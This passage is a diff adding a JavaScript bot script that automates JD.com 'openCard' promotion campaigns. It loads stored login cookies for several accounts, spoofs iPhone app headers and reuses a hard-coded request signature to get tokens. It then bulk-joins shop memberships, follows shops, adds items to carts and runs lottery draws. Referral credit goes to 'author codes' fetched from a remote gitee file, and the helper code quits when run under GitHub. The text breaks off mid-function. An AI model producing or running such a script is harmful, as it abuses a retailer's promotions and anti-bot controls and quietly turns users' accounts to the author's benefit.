Env("大牌联合 狂欢抢先GO"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let isRush = true;false +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.NO_RUSH && process.env.NO_RUSH != "") { + isRush = process.env.NO_RUSH; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_go2.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'e4af9e2576f742518d31de9d38c34b14', + ] + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'dz20211023wkcn14cn5cnd0sdbs5sbx' + $.activityShopId = '1000387143' + $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + if (isRush) { + console.log("未检测到不执行环境变量,执行任务") + await rush(); + } else { + console.log("检测到不执行环境变量,退出任务,环境变量 NO_RUSH") + break + } + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function rush() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + await $.wait(2000) + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000004065&pageId=dz20211013skcnurdk11jhdue84752hp&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + t2TaskList = [] + $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + for (const vo of t2TaskList) { + $.log(` >>>${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加购物车") + await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + console.log(data.data.addBeanNum) + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + // $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: 